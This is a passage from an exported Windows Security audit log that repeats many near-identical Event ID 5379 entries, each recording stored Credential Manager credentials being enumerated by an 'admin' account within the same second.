Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.520\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.520\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.520\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.520\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.520\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.520\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.520\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.521\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.521\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.521\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.521\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.521\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.521\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.521\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.521\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.522\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.522\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.522\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.524\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.524\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.524\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.524\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.524\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.525\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.525\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.525\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.525\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.525\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.526\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.526\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.526\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.526\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.526\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.526\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.526\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.526\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.526\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.527\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.527\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.527\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.527\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.527\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.527\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.527\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.529\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.530\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.532\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.532\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.547\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.548\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.548\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.548\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.548\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.548\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.548\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.548\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.549\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.549\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.549\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.549\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.549\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.549\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.550\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:56.550\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount 